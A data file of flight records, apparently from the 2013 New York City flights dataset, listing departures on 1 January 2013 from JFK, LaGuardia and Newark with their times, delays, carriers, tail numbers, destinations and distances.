-{"year":2013,"month":1,"day":1,"dep_time":947,"sched_dep_time":953,"dep_delay":-6,"arr_time":1053,"sched_arr_time":1110,"arr_delay":-17,"carrier":"B6","flight":600,"tailnum":"N306JB","origin":"JFK","dest":"PWM","air_time":47,"distance":273,"hour":9,"minute":53,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":950,"sched_dep_time":954,"dep_delay":-4,"arr_time":1155,"sched_arr_time":1142,"arr_delay":13,"carrier":"EV","flight":4681,"tailnum":"N12567","origin":"EWR","dest":"STL","air_time":170,"distance":872,"hour":9,"minute":54,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":953,"sched_dep_time":959,"dep_delay":-6,"arr_time":1141,"sched_arr_time":1129,"arr_delay":12,"carrier":"MQ","flight":4670,"tailnum":"N6EAMQ","origin":"LGA","dest":"BNA","air_time":144,"distance":764,"hour":9,"minute":59,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":953,"sched_dep_time":921,"dep_delay":32,"arr_time":1320,"sched_arr_time":1241,"arr_delay":39,"carrier":"UA","flight":222,"tailnum":"N586UA","origin":"EWR","dest":"LAX","air_time":346,"distance":2454,"hour":9,"minute":21,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":955,"sched_dep_time":1000,"dep_delay":-5,"arr_time":1336,"sched_arr_time":1325,"arr_delay":11,"carrier":"US","flight":75,"tailnum":"N642AW","origin":"EWR","dest":"PHX","air_time":324,"distance":2133,"hour":10,"minute":0,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":956,"sched_dep_time":1000,"dep_delay":-4,"arr_time":1241,"sched_arr_time":1241,"arr_delay":0,"carrier":"DL","flight":1847,"tailnum":"N956DL","origin":"LGA","dest":"ATL","air_time":129,"distance":762,"hour":10,"minute":0,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":957,"sched_dep_time":733,"dep_delay":144,"arr_time":1056,"sched_arr_time":853,"arr_delay":123,"carrier":"UA","flight":856,"tailnum":"N534UA","origin":"EWR","dest":"BOS","air_time":37,"distance":200,"hour":7,"minute":33,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":959,"sched_dep_time":1002,"dep_delay":-3,"arr_time":1313,"sched_arr_time":1319,"arr_delay":-6,"carrier":"DL","flight":2379,"tailnum":"N965DL","origin":"LGA","dest":"FLL","air_time":151,"distance":1076,"hour":10,"minute":2,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":959,"sched_dep_time":1000,"dep_delay":-1,"arr_time":1151,"sched_arr_time":1206,"arr_delay":-15,"carrier":"US","flight":1177,"tailnum":"N765US","origin":"LGA","dest":"CLT","air_time":90,"distance":544,"hour":10,"minute":0,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1003,"sched_dep_time":1010,"dep_delay":-7,"arr_time":1255,"sched_arr_time":1320,"arr_delay":-25,"carrier":"B6","flight":503,"tailnum":"N565JB","origin":"EWR","dest":"FLL","air_time":152,"distance":1065,"hour":10,"minute":10,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1003,"sched_dep_time":959,"dep_delay":4,"arr_time":1408,"sched_arr_time":1329,"arr_delay":39,"carrier":"US","flight":196,"tailnum":"N541UW","origin":"JFK","dest":"PHX","air_time":342,"distance":2153,"hour":9,"minute":59,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1005,"sched_dep_time":1000,"dep_delay":5,"arr_time":1239,"sched_arr_time":1234,"arr_delay":5,"carrier":"UA","flight":1625,"tailnum":"N81449","origin":"EWR","dest":"DEN","air_time":254,"distance":1605,"hour":10,"minute":0,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1007,"sched_dep_time":1010,"dep_delay":-3,"arr_time":1147,"sched_arr_time":1140,"arr_delay":7,"carrier":"MQ","flight":3795,"tailnum":"N503MQ","origin":"EWR","dest":"ORD","air_time":131,"distance":719,"hour":10,"minute":10,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1009,"sched_dep_time":1015,"dep_delay":-6,"arr_time":1219,"sched_arr_time":1229,"arr_delay":-10,"carrier":"DL","flight":2319,"tailnum":"N933DL","origin":"LGA","dest":"MSP","air_time":160,"distance":1020,"hour":10,"minute":15,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1010,"sched_dep_time":1015,"dep_delay":-5,"arr_time":1204,"sched_arr_time":1210,"arr_delay":-6,"carrier":"US","flight":1103,"tailnum":"N162UW","origin":"EWR","dest":"CLT","air_time":90,"distance":529,"hour":10,"minute":15,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1010,"sched_dep_time":1015,"dep_delay":-5,"arr_time":1225,"sched_arr_time":1214,"arr_delay":11,"carrier":"US","flight":1441,"tailnum":"N712US","origin":"JFK","dest":"CLT","air_time":97,"distance":541,"hour":10,"minute":15,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1011,"sched_dep_time":1001,"dep_delay":10,"arr_time":1133,"sched_arr_time":1128,"arr_delay":5,"carrier":"EV","flight":5736,"tailnum":"N820AS","origin":"LGA","dest":"IAD","air_time":59,"distance":229,"hour":10,"minute":1,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1011,"sched_dep_time":1015,"dep_delay":-4,"arr_time":1246,"sched_arr_time":1307,"arr_delay":-21,"carrier":"DL","flight":1529,"tailnum":"N399DA","origin":"JFK","dest":"LAS","air_time":320,"distance":2248,"hour":10,"minute":15,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1021,"sched_dep_time":1023,"dep_delay":-2,"arr_time":1254,"sched_arr_time":1252,"arr_delay":2,"carrier":"FL","flight":347,"tailnum":"N942AT","origin":"LGA","dest":"ATL","air_time":129,"distance":762,"hour":10,"minute":23,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1024,"sched_dep_time":1029,"dep_delay":-5,"arr_time":1140,"sched_arr_time":1150,"arr_delay":-10,"carrier":"EV","flight":4709,"tailnum":"N14905","origin":"EWR","dest":"BUF","air_time":59,"distance":282,"hour":10,"minute":29,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1024,"sched_dep_time":1030,"dep_delay":-6,"arr_time":1204,"sched_arr_time":1215,"arr_delay":-11,"carrier":"MQ","flight":4471,"tailnum":"N719MQ","origin":"LGA","dest":"RDU","air_time":78,"distance":431,"hour":10,"minute":30,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1025,"sched_dep_time":1020,"dep_delay":5,"arr_time":1356,"sched_arr_time":1330,"arr_delay":26,"carrier":"AA","flight":731,"tailnum":"N3FXAA","origin":"LGA","dest":"DFW","air_time":247,"distance":1389,"hour":10,"minute":20,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1025,"sched_dep_time":951,"dep_delay":34,"arr_time":1258,"sched_arr_time":1302,"arr_delay":-4,"carrier":"UA","flight":501,"tailnum":"N437UA","origin":"EWR","dest":"MCO","air_time":137,"distance":937,"hour":9,"minute":51,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1026,"sched_dep_time":1030,"dep_delay":-4,"arr_time":1351,"sched_arr_time":1340,"arr_delay":11,"carrier":"AA","flight":19,"tailnum":"N328AA","origin":"JFK","dest":"LAX","air_time":356,"distance":2475,"hour":10,"minute":30,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1028,"sched_dep_time":1026,"dep_delay":2,"arr_time":1350,"sched_arr_time":1339,"arr_delay":11,"carrier":"UA","flight":1004,"tailnum":"N76508","origin":"LGA","dest":"IAH","air_time":237,"distance":1416,"hour":10,"minute":26,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1029,"sched_dep_time":1030,"dep_delay":-1,"arr_time":1427,"sched_arr_time":1355,"arr_delay":32,"carrier":"AA","flight":179,"tailnum":"N325AA","origin":"JFK","dest":"SFO","air_time":389,"distance":2586,"hour":10,"minute":30,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1030,"sched_dep_time":1035,"dep_delay":-5,"arr_time":1229,"sched_arr_time":1246,"arr_delay":-17,"carrier":"EV","flight":4277,"tailnum":"N11189","origin":"EWR","dest":"CHS","air_time":100,"distance":628,"hour":10,"minute":35,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1031,"sched_dep_time":1030,"dep_delay":1,"arr_time":1353,"sched_arr_time":1415,"arr_delay":-22,"carrier":"VX","flight":23,"tailnum":"N625VA","origin":"JFK","dest":"SFO","air_time":363,"distance":2586,"hour":10,"minute":30,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1031,"sched_dep_time":1030,"dep_delay":1,"arr_time":1323,"sched_arr_time":1334,"arr_delay":-11,"carrier":"UA","flight":1294,"tailnum":"N77258","origin":"EWR","dest":"FLL","air_time":157,"distance":1065,"hour":10,"minute":30,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1032,"sched_dep_time":1035,"dep_delay":-3,"arr_time":1305,"sched_arr_time":1250,"arr_delay":15,"carrier":"EV","flight":4180,"tailnum":"N13955","origin":"EWR","dest":"IND","air_time":135,"distance":645,"hour":10,"minute":35,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1033,"sched_dep_time":1017,"dep_delay":16,"arr_time":1130,"sched_arr_time":1136,"arr_delay":-6,"carrier":"UA","flight":779,"tailnum":"N849UA","origin":"EWR","dest":"BOS","air_time":42,"distance":200,"hour":10,"minute":17,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1037,"sched_dep_time":1030,"dep_delay":7,"arr_time":1221,"sched_arr_time":1210,"arr_delay":11,"carrier":"AA","flight":321,"tailnum":"N581AA","origin":"LGA","dest":"ORD","air_time":133,"distance":733,"hour":10,"minute":30,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1038,"sched_dep_time":1030,"dep_delay":8,"arr_time":1223,"sched_arr_time":1202,"arr_delay":21,"carrier":"UA","flight":985,"tailnum":"N423UA","origin":"EWR","dest":"ORD","air_time":149,"distance":719,"hour":10,"minute":30,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1042,"sched_dep_time":1040,"dep_delay":2,"arr_time":1325,"sched_arr_time":1326,"arr_delay":-1,"carrier":"B6","flight":31,"tailnum":"N529JB","origin":"JFK","dest":"MCO","air_time":142,"distance":944,"hour":10,"minute":40,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1044,"sched_dep_time":1045,"dep_delay":-1,"arr_time":1231,"sched_arr_time":1212,"arr_delay":19,"carrier":"EV","flight":4322,"tailnum":"N15555","origin":"EWR","dest":"MKE","air_time":151,"distance":725,"hour":10,"minute":45,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1044,"sched_dep_time":1045,"dep_delay":-1,"arr_time":1352,"sched_arr_time":1351,"arr_delay":1,"carrier":"UA","flight":455,"tailnum":"N667UA","origin":"EWR","dest":"IAH","air_time":229,"distance":1400,"hour":10,"minute":45,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1044,"sched_dep_time":1041,"dep_delay":3,"arr_time":1339,"sched_arr_time":1350,"arr_delay":-11,"carrier":"UA","flight":1060,"tailnum":"N76503","origin":"EWR","dest":"RSW","air_time":157,"distance":1068,"hour":10,"minute":41,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1047,"sched_dep_time":1055,"dep_delay":-8,"arr_time":1359,"sched_arr_time":1405,"arr_delay":-6,"carrier":"AA","flight":739,"tailnum":"N3AVAA","origin":"LGA","dest":"DFW","air_time":230,"distance":1389,"hour":10,"minute":55,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1047,"sched_dep_time":1050,"dep_delay":-3,"arr_time":1401,"sched_arr_time":1410,"arr_delay":-9,"carrier":"DL","flight":1275,"tailnum":"N3748Y","origin":"JFK","dest":"SLC","air_time":295,"distance":1990,"hour":10,"minute":50,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1048,"sched_dep_time":1050,"dep_delay":-2,"arr_time":1302,"sched_arr_time":1250,"arr_delay":12,"carrier":"MQ","flight":4589,"tailnum":"N537MQ","origin":"LGA","dest":"DTW","air_time":112,"distance":502,"hour":10,"minute":50,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1053,"sched_dep_time":1050,"dep_delay":3,"arr_time":1402,"sched_arr_time":1358,"arr_delay":4,"carrier":"B6","flight":373,"tailnum":"N520JB","origin":"LGA","dest":"FLL","air_time":165,"distance":1076,"hour":10,"minute":50,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1054,"sched_dep_time":1059,"dep_delay":-5,"arr_time":1326,"sched_arr_time":1339,"arr_delay":-13,"carrier":"DL","flight":1647,"tailnum":"N920DE","origin":"LGA","dest":"ATL","air_time":129,"distance":762,"hour":10,"minute":59,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1056,"sched_dep_time":1059,"dep_delay":-3,"arr_time":1203,"sched_arr_time":1209,"arr_delay":-6,"carrier":"EV","flight":4479,"tailnum":"N11544","origin":"EWR","dest":"PWM","air_time":51,"distance":284,"hour":10,"minute":59,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1056,"sched_dep_time":1100,"dep_delay":-4,"arr_time":1407,"sched_arr_time":1413,"arr_delay":-6,"carrier":"DL","flight":2185,"tailnum":"N917DL","origin":"LGA","dest":"TPA","air_time":158,"distance":1010,"hour":11,"minute":0,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1058,"sched_dep_time":1100,"dep_delay":-2,"arr_time":1210,"sched_arr_time":1216,"arr_delay":-6,"carrier":"US","flight":2171,"tailnum":"N951UW","origin":"LGA","dest":"DCA","air_time":50,"distance":214,"hour":11,"minute":0,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1059,"sched_dep_time":1100,"dep_delay":-1,"arr_time":1201,"sched_arr_time":1215,"arr_delay":-14,"carrier":"WN","flight":321,"tailnum":"N505SW","origin":"LGA","dest":"BWI","air_time":43,"distance":185,"hour":11,"minute":0,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1059,"sched_dep_time":1100,"dep_delay":-1,"arr_time":1210,"sched_arr_time":1215,"arr_delay":-5,"carrier":"MQ","flight":3792,"tailnum":"N509MQ","origin":"JFK","dest":"DCA","air_time":50,"distance":213,"hour":11,"minute":0,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1059,"sched_dep_time":1053,"dep_delay":6,"arr_time":1342,"sched_arr_time":1351,"arr_delay":-9,"carrier":"UA","flight":369,"tailnum":"N451UA","origin":"EWR","dest":"LAS","air_time":325,"distance":2227,"hour":10,"minute":53,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1101,"sched_dep_time":1043,"dep_delay":18,"arr_time":1345,"sched_arr_time":1332,"arr_delay":13,"carrier":"B6","flight":545,"tailnum":"N630JB","origin":"EWR","dest":"PBI","air_time":145,"distance":1023,"hour":10,"minute":43,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1103,"sched_dep_time":1100,"dep_delay":3,"arr_time":1410,"sched_arr_time":1421,"arr_delay":-11,"carrier":"DL","flight":2071,"tailnum":"N339NW","origin":"LGA","dest":"MIA","air_time":155,"distance":1096,"hour":11,"minute":0,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1105,"sched_dep_time":1047,"dep_delay":18,"arr_time":1428,"sched_arr_time":1405,"arr_delay":23,"carrier":"UA","flight":688,"tailnum":"N521UA","origin":"EWR","dest":"SFO","air_time":356,"distance":2565,"hour":10,"minute":47,"time_hour":"2013-01-01 10:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1107,"sched_dep_time":1115,"dep_delay":-8,"arr_time":1305,"sched_arr_time":1310,"arr_delay":-5,"carrier":"MQ","flight":4485,"tailnum":"N730MQ","origin":"LGA","dest":"CMH","air_time":95,"distance":479,"hour":11,"minute":15,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1109,"sched_dep_time":1115,"dep_delay":-6,"arr_time":1402,"sched_arr_time":1425,"arr_delay":-23,"carrier":"AA","flight":2099,"tailnum":"N3GSAA","origin":"LGA","dest":"MIA","air_time":157,"distance":1096,"hour":11,"minute":15,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1111,"sched_dep_time":1115,"dep_delay":-4,"arr_time":1222,"sched_arr_time":1226,"arr_delay":-4,"carrier":"B6","flight":24,"tailnum":"N279JB","origin":"JFK","dest":"BTV","air_time":52,"distance":266,"hour":11,"minute":15,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1112,"sched_dep_time":1100,"dep_delay":12,"arr_time":1440,"sched_arr_time":1438,"arr_delay":2,"carrier":"UA","flight":285,"tailnum":"N517UA","origin":"JFK","dest":"SFO","air_time":364,"distance":2586,"hour":11,"minute":0,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1113,"sched_dep_time":1115,"dep_delay":-2,"arr_time":1318,"sched_arr_time":1315,"arr_delay":3,"carrier":"DL","flight":1031,"tailnum":"N320NB","origin":"LGA","dest":"DTW","air_time":104,"distance":502,"hour":11,"minute":15,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1114,"sched_dep_time":900,"dep_delay":134,"arr_time":1447,"sched_arr_time":1222,"arr_delay":145,"carrier":"UA","flight":1086,"tailnum":"N76502","origin":"LGA","dest":"IAH","air_time":248,"distance":1416,"hour":9,"minute":0,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1120,"sched_dep_time":944,"dep_delay":96,"arr_time":1331,"sched_arr_time":1213,"arr_delay":78,"carrier":"EV","flight":4495,"tailnum":"N16561","origin":"EWR","dest":"SAV","air_time":117,"distance":708,"hour":9,"minute":44,"time_hour":"2013-01-01 09:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1120,"sched_dep_time":1125,"dep_delay":-5,"arr_time":1330,"sched_arr_time":1325,"arr_delay":5,"carrier":"WN","flight":1057,"tailnum":"N469WN","origin":"LGA","dest":"STL","air_time":176,"distance":888,"hour":11,"minute":25,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1123,"sched_dep_time":1110,"dep_delay":13,"arr_time":1410,"sched_arr_time":1336,"arr_delay":34,"carrier":"UA","flight":405,"tailnum":"N587UA","origin":"LGA","dest":"DEN","air_time":256,"distance":1620,"hour":11,"minute":10,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1124,"sched_dep_time":1100,"dep_delay":24,"arr_time":1435,"sched_arr_time":1431,"arr_delay":4,"carrier":"B6","flight":641,"tailnum":"N590JB","origin":"JFK","dest":"SFO","air_time":349,"distance":2586,"hour":11,"minute":0,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1124,"sched_dep_time":1125,"dep_delay":-1,"arr_time":1445,"sched_arr_time":1445,"arr_delay":0,"carrier":"DL","flight":1171,"tailnum":"N376NW","origin":"LGA","dest":"RSW","air_time":169,"distance":1080,"hour":11,"minute":25,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1125,"sched_dep_time":1130,"dep_delay":-5,"arr_time":1325,"sched_arr_time":1332,"arr_delay":-7,"carrier":"US","flight":1085,"tailnum":"N169UW","origin":"LGA","dest":"CLT","air_time":94,"distance":544,"hour":11,"minute":30,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1127,"sched_dep_time":1129,"dep_delay":-2,"arr_time":1303,"sched_arr_time":1309,"arr_delay":-6,"carrier":"EV","flight":4294,"tailnum":"N14180","origin":"EWR","dest":"RDU","air_time":73,"distance":416,"hour":11,"minute":29,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1127,"sched_dep_time":1130,"dep_delay":-3,"arr_time":1504,"sched_arr_time":1448,"arr_delay":16,"carrier":"UA","flight":703,"tailnum":"N518UA","origin":"JFK","dest":"LAX","air_time":357,"distance":2475,"hour":11,"minute":30,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1127,"sched_dep_time":1129,"dep_delay":-2,"arr_time":1421,"sched_arr_time":1425,"arr_delay":-4,"carrier":"UA","flight":1143,"tailnum":"N14118","origin":"EWR","dest":"PBI","air_time":156,"distance":1023,"hour":11,"minute":29,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1128,"sched_dep_time":1129,"dep_delay":-1,"arr_time":1422,"sched_arr_time":1437,"arr_delay":-15,"carrier":"UA","flight":987,"tailnum":"N496UA","origin":"EWR","dest":"TPA","air_time":156,"distance":997,"hour":11,"minute":29,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1130,"sched_dep_time":1125,"dep_delay":5,"arr_time":1301,"sched_arr_time":1305,"arr_delay":-4,"carrier":"AA","flight":327,"tailnum":"N3DEAA","origin":"LGA","dest":"ORD","air_time":127,"distance":733,"hour":11,"minute":25,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1130,"sched_dep_time":1131,"dep_delay":-1,"arr_time":1345,"sched_arr_time":1342,"arr_delay":3,"carrier":"DL","flight":2219,"tailnum":"N343NB","origin":"LGA","dest":"MSP","air_time":166,"distance":1020,"hour":11,"minute":31,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1132,"sched_dep_time":1135,"dep_delay":-3,"arr_time":1324,"sched_arr_time":1330,"arr_delay":-6,"carrier":"MQ","flight":4553,"tailnum":"N856MQ","origin":"LGA","dest":"CLE","air_time":89,"distance":419,"hour":11,"minute":35,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1133,"sched_dep_time":1129,"dep_delay":4,"arr_time":1440,"sched_arr_time":1437,"arr_delay":3,"carrier":"B6","flight":133,"tailnum":"N652JB","origin":"JFK","dest":"RSW","air_time":168,"distance":1074,"hour":11,"minute":29,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1133,"sched_dep_time":1130,"dep_delay":3,"arr_time":1448,"sched_arr_time":1450,"arr_delay":-2,"carrier":"VX","flight":409,"tailnum":"N839VA","origin":"JFK","dest":"LAX","air_time":347,"distance":2475,"hour":11,"minute":30,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1135,"sched_dep_time":1140,"dep_delay":-5,"arr_time":1429,"sched_arr_time":1445,"arr_delay":-16,"carrier":"AA","flight":1623,"tailnum":"N3EYAA","origin":"EWR","dest":"MIA","air_time":156,"distance":1085,"hour":11,"minute":40,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1137,"sched_dep_time":1140,"dep_delay":-3,"arr_time":1445,"sched_arr_time":1451,"arr_delay":-6,"carrier":"DL","flight":2175,"tailnum":"N999DN","origin":"LGA","dest":"PBI","air_time":153,"distance":1035,"hour":11,"minute":40,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1143,"sched_dep_time":1145,"dep_delay":-2,"arr_time":1512,"sched_arr_time":1507,"arr_delay":5,"carrier":"UA","flight":1010,"tailnum":"N39726","origin":"EWR","dest":"SNA","air_time":371,"distance":2434,"hour":11,"minute":45,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1144,"sched_dep_time":1145,"dep_delay":-1,"arr_time":1422,"sched_arr_time":1411,"arr_delay":11,"carrier":"EV","flight":4876,"tailnum":"N695CA","origin":"EWR","dest":"ATL","air_time":126,"distance":746,"hour":11,"minute":45,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1147,"sched_dep_time":1155,"dep_delay":-8,"arr_time":1335,"sched_arr_time":1327,"arr_delay":8,"carrier":"FL","flight":353,"tailnum":"N932AT","origin":"LGA","dest":"CAK","air_time":82,"distance":397,"hour":11,"minute":55,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1150,"sched_dep_time":1156,"dep_delay":-6,"arr_time":1302,"sched_arr_time":1314,"arr_delay":-12,"carrier":"EV","flight":4693,"tailnum":"N21144","origin":"EWR","dest":"SYR","air_time":46,"distance":195,"hour":11,"minute":56,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1153,"sched_dep_time":1159,"dep_delay":-6,"arr_time":1350,"sched_arr_time":1341,"arr_delay":9,"carrier":"EV","flight":4275,"tailnum":"N29917","origin":"EWR","dest":"CMH","air_time":95,"distance":463,"hour":11,"minute":59,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1153,"sched_dep_time":1123,"dep_delay":30,"arr_time":1454,"sched_arr_time":1425,"arr_delay":29,"carrier":"B6","flight":1,"tailnum":"N552JB","origin":"JFK","dest":"FLL","air_time":167,"distance":1069,"hour":11,"minute":23,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1153,"sched_dep_time":1200,"dep_delay":-7,"arr_time":1450,"sched_arr_time":1529,"arr_delay":-39,"carrier":"DL","flight":863,"tailnum":"N712TW","origin":"JFK","dest":"LAX","air_time":330,"distance":2475,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1154,"sched_dep_time":1200,"dep_delay":-6,"arr_time":1253,"sched_arr_time":1306,"arr_delay":-13,"carrier":"B6","flight":1174,"tailnum":"N206JB","origin":"EWR","dest":"BOS","air_time":40,"distance":200,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1154,"sched_dep_time":1200,"dep_delay":-6,"arr_time":1452,"sched_arr_time":1430,"arr_delay":22,"carrier":"MQ","flight":4658,"tailnum":"N8EGMQ","origin":"LGA","dest":"ATL","air_time":141,"distance":762,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1155,"sched_dep_time":1200,"dep_delay":-5,"arr_time":1517,"sched_arr_time":1510,"arr_delay":7,"carrier":"AA","flight":3,"tailnum":"N322AA","origin":"JFK","dest":"LAX","air_time":353,"distance":2475,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1155,"sched_dep_time":1200,"dep_delay":-5,"arr_time":1507,"sched_arr_time":1519,"arr_delay":-12,"carrier":"DL","flight":1443,"tailnum":"N969DL","origin":"LGA","dest":"FLL","air_time":160,"distance":1076,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1155,"sched_dep_time":1200,"dep_delay":-5,"arr_time":1441,"sched_arr_time":1440,"arr_delay":1,"carrier":"DL","flight":1947,"tailnum":"N904DL","origin":"LGA","dest":"ATL","air_time":133,"distance":762,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1155,"sched_dep_time":1200,"dep_delay":-5,"arr_time":1312,"sched_arr_time":1315,"arr_delay":-3,"carrier":"MQ","flight":4425,"tailnum":"N846MQ","origin":"JFK","dest":"DCA","air_time":57,"distance":213,"hour":12,"minute":0,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1157,"sched_dep_time":1158,"dep_delay":-1,"arr_time":1310,"sched_arr_time":1315,"arr_delay":-5,"carrier":"EV","flight":4511,"tailnum":"N16546","origin":"EWR","dest":"ROC","air_time":50,"distance":246,"hour":11,"minute":58,"time_hour":"2013-01-01 11:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1157,"sched_dep_time":1205,"dep_delay":-8,"arr_time":1342,"sched_arr_time":1345,"arr_delay":-3,"carrier":"MQ","flight":4431,"tailnum":"N723MQ","origin":"LGA","dest":"RDU","air_time":80,"distance":431,"hour":12,"minute":5,"time_hour":"2013-01-01 12:00:00"} 